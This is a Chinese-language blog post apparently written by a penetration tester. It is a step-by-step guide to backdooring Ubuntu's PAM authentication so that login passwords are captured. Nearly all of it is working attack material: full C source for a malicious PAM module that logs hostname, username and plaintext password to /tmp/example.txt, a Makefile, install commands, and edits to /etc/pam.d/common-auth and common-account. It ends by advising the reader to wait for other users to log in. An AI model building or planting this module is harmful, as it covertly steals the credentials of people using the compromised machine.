.so劫持PAM监听密码
.so 劫持 PAM 监听密码
最近渗透遇见个主机,想通过劫持 PAM 监听密码来获取密码
本文章适用于 Ubuntu,其他系统的不同之处可参考下文中的介绍做相应处理
本文章仅介绍操作方法,原理可见下面这篇文章
centos 可见:利用Linux-PAM记录密码
该文章不适用于 Ubuntu 等系统,因此写下本文章
任意目录新建 ssh.c:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <unistd.h>
#define STOREPATH "/tmp/example.txt"
PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
const char* username;
const char* password;
char hostname[128];
retval = pam_get_user(pamh, &username, "Username: ");
if (retval != PAM_SUCCESS) {
return retval;
}
retval = pam_get_authtok(pamh,PAM_AUTHTOK,&password,NULL);
if (retval != PAM_SUCCESS) {
return retval;
}
gethostname(hostname, sizeof hostname);
FILE *fp = NULL;
fp = fopen(STOREPATH, "a+");
fprintf(fp, "%s:%s:%s\n",hostname,username,password);
fclose(fp);
return PAM_SUCCESS;
}
同目录下新建 Makefile,写入:
1
2
3
4
CFLAGS += -Werror -Wall
ssh.so: ssh.c
gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $<
运行如下代码
1
2
3
apt-get install libpam0g-dev # 其它系统见下面的介绍1
make
cp ssh.so /usr/lib/x86_64-linux-gnu/security/ # 其它系统见下面的介绍2
1:其它系统可搜索
PAM开发包
或者 xxx 系统的libpam0g-dev
pam-devel
包
2:其它系统可查询/etc/pam.d/是否存在,不存在可以 bing 下类似作用的文件夹
然后查看
common-auth
common-account
文件 1find / -name xxx.so # xxx.so是上面两个文件中option部分的第三个参数
一般命令结果第一个就是 security 的目录
然后
1cp ssh.so /path/to/security
在/etc/pam.d/common-auth 中 option 部分中添加一行
1
2
auth optional ssh.so
; 字符间间隔用tab键对齐 下面同理
如果/etc/pam.d/common-account 不存在则将下面那行代码和上面那行代码放一块即可
/etc/pam.d/common-account 同理
1
account optional ssh.so
exit 退出再 ssh 登陆下或者其他需要密码的操作皆可
然后查看/tmp/example.txt 中是否成功记录
成功记录后等待其他用户登录该机器即可,隔几天登录查看下/tmp/example.txt
评论